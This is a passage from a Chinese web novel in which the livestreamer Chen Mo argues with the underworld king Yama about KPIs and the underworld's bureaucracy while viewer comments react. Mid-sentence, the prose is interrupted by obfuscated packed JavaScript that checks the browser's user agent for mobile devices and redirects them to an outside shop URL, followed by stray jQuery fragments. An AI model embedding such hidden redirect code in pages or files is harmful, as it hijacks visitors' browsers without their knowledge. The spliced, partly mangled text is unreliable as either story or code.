他一口气说完,感觉肺里的空气都被抽空了,紧张地盯着屏幕。
直播间弹幕出现了短暂的凝滞,似乎都被陈默这番“控诉”震住了。
然后,更猛烈的弹幕爆发了:
“卧槽!默哥雄起!说得有理有据!”
“底层临时工的怒吼!”
“地府HR出来挨打!”
“支持默哥维权!”
“这波我站默哥!KPI害死人啊!”
甚至有不少人开始刷起了“地府药丸”(地府要完的谐音)。
短暂的沉默后,“阎王本人”的声音再次响起,依旧平稳,听不出喜怒:
“陈述完毕了?”
陈默心里咯噔一下。
“首先,关于胁迫。”阎王的声音不疾不徐,“契约签订过程,有全程灵魂烙印记录。需要我现在播放出来,回顾一下你当时‘穷得只剩条命了’的豪言壮语,以及签订后数钱时的喜悦心情吗?”
陈默:“……” 他感觉脸有点发烧。
“其次,关于辅助完成KPI。老K的考核指标是‘单位时间内有效恐惧能量收集量’,并未授权其进行任何形式的商业化运作。你的直播打赏收入,与地府KPI完成度并无直接、法定的关联。此为利用职务之便谋取私利,证据确凿。”
“最后,也是最重要的一点,”阎王的声音略微提高了一丝,带着一种不容置疑的权威,“你指责地府制度僵化,福利不足。但你是否了解,地府‘恐惧能量收集部’只是庞大轮回体系中的一个辅助部门?其KPI考核,是为了平衡六道轮回的能量收支,维持三界稳定。每一个绩效点,都关系到能否及时为新生灵魂注入活力,能否抚平滞留怨魂的戾气。”
“你觉得老K辛苦,觉得你委屈。那你可知,负责核对生死簿的文判官,每
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16878447|191924||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
日需处理亿万条信息,眼疾发病率高达九成?引渡亡魂的无常使者,常年奔波于阴阳两界,承受空间撕裂之苦?十八层地狱的狱卒,面对世间极致之恶,需要何等坚定的心志?”
“地府运行,自有其法度与艰辛。岂是你一句‘体制问题’所能概括?”
阎王的话语,如同洪钟大吕,敲打在陈默和每一个听众的心上。弹幕的风向开始悄悄转变。
“好像……有点道理?”
“默哥是不是有点片面了?”
“阎王大人说得对,哪个单位不辛苦?”
“格局打开了……”
陈默哑口无言。他准备的那些“劳动法”“资本论”,在阎王阐述的“三界稳定”“六道轮回”面前,显得如此苍白和可笑。他感觉自己像是个在联合国安理会上控诉小区物业费太贵的业主。
完了。彻底完了。
他绝望地看向赵胖子,赵胖子也摊了摊手,一脸“哥们儿尽力了”的表情。
就在陈默万念俱灰,准备接受“就地正法”的命运时,“阎王本人”的语音再次响起,语气似乎……缓和了一丝?
“不过……”
这一个“不过”,让陈默的心脏猛地又提了起来。
“你能在绝境中寻求辩论,试图从规则本身